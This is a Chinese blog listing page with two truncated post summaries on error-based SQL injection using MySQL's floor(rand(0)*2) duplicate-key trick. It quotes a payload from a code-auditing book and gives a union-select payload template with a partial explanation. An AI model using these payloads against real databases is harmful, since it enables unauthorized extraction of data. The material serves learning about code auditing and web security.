摘要:
以下均摘自《代码审计:企业级Web代码安全架构》一书 1.floor() select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from informati 阅读全文
posted @ 2020-08-21 14:43
LY2333
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摘要:
payload 1 Union select count(*),concat((查询语句),0x26,floor(rand(0)*2))x from information_schema.columns group by x; payload拆分讲解 1 count():count()函数返回匹配指 阅读全文
posted @ 2020-08-21 14:14
LY2333
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